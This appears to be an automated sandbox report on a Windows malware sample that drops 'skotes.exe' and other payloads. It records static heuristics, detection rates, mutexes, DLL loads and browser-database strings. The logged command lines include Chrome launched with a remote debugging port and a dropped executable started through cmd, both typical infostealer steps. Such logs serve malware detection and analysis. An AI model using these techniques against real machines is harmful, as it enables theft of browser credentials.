Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Code function: String function: 00CBC890 appears 37 times
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Code function: String function: 00CBE190 appears 76 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 009A80C0 appears 393 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 009C8E10 appears 47 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 009ADF80 appears 80 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 009AD942 appears 84 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 009AD663 appears 40 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 009A7A00 appears 36 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 009AD64E appears 79 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: random[1].exe0.6.dr	Static PE information: Section: wltmzozy ZLIB complexity 0.994872899358006
Source: 932a9eb371.exe.6.dr	Static PE information: Section: wltmzozy ZLIB complexity 0.994872899358006

Source: DocumentsBAEBGHCFCA.exe.8.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: random[1].exe1.6.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: 803fbc23e3.exe.6.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: file.exe	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: random[2].exe.8.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: skotes.exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.phis.troj.spyw.evad.winEXE@41/40@21/10

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7928:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 932a9eb371.exe, 00000008.00000002.2830130365.000000006C2AF000.00000002.00000001.01000000.00000017.sdmp, 932a9eb371.exe, 00000008.00000002.2828275944.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 932a9eb371.exe, 00000008.00000002.2821205315.000000001D64D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: 932a9eb371.exe, 00000008.00000002.2830130365.000000006C2AF000.00000002.00000001.01000000.00000017.sdmp, 932a9eb371.exe, 00000008.00000002.2828275944.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 932a9eb371.exe, 00000008.00000002.2821205315.000000001D64D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: chrome.exe, 0000000C.00000002.2655425428.000039D402334000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SELECT id,url,visit_time,from_visit,external_referrer_url,transition,segment_id,visit_duration,incremented_omnibox_typed_score,opener_visit,originator_cache_guid,originator_visit_id,originator_from_visit,originator_opener_visit,is_known_to_sync,consider_for_ntp_most_visited FROM visits WHERE visit_time>=? AND visit_time<? ORDER BY visit_time DESC, id DESCALUE:2};
Source: 932a9eb371.exe, 00000008.00000002.2830130365.000000006C2AF000.00000002.00000001.01000000.00000017.sdmp, 932a9eb371.exe, 00000008.00000002.2828275944.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 932a9eb371.exe, 00000008.00000002.2821205315.000000001D64D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: chrome.exe, 0000000C.00000002.2659773783.000039D40283F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE psl_extensions (domain VARCHAR NOT NULL, UNIQUE (domain));
Source: 932a9eb371.exe, 00000008.00000002.2830130365.000000006C2AF000.00000002.00000001.01000000.00000017.sdmp, 932a9eb371.exe, 00000008.00000002.2828275944.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 932a9eb371.exe, 00000008.00000002.2821205315.000000001D64D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: 932a9eb371.exe, 00000008.00000002.2830130365.000000006C2AF000.00000002.00000001.01000000.00000017.sdmp, 932a9eb371.exe, 00000008.00000002.2828275944.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 932a9eb371.exe, 00000008.00000002.2821205315.000000001D64D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: 932a9eb371.exe, 00000008.00000002.2830130365.000000006C2AF000.00000002.00000001.01000000.00000017.sdmp, 932a9eb371.exe, 00000008.00000002.2828275944.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 932a9eb371.exe, 00000008.00000002.2821205315.000000001D64D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: 932a9eb371.exe, 00000008.00000002.2828275944.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 932a9eb371.exe, 00000008.00000002.2821205315.000000001D64D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: 44e053de15.exe, 00000007.00000003.2435392415.00000000056F4000.00000004.00000800.00020000.00000000.sdmp, 932a9eb371.exe, 00000008.00000003.2643723688.000000001D544000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2566731222.0000000005DF8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: 932a9eb371.exe, 00000008.00000002.2828275944.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 932a9eb371.exe, 00000008.00000002.2821205315.000000001D64D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: 932a9eb371.exe, 00000008.00000002.2828275944.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 932a9eb371.exe, 00000008.00000002.2821205315.000000001D64D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: file.exe	ReversingLabs: Detection: 44%
Source: file.exe	Virustotal: Detection: 54%

Source: 44e053de15.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe "C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe "C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe "C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe"
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2560 --field-trial-handle=2312,i,454182025611098598,9768807319645841534,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe "C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4056 --field-trial-handle=2312,i,454182025611098598,9768807319645841534,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe "C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe "C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe "C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe"
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsBAEBGHCFCA.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsBAEBGHCFCA.exe "C:\Users\user\DocumentsBAEBGHCFCA.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe "C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe "C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe "C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe "C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe "C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsBAEBGHCFCA.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe "C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2560 --field-trial-handle=2312,i,454182025611098598,9768807319645841534,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4056 --field-trial-handle=2312,i,454182025611098598,9768807319645841534,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsBAEBGHCFCA.exe "C:\Users\user\DocumentsBAEBGHCFCA.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Section loaded: ncrypt.dll	Jump to behavior
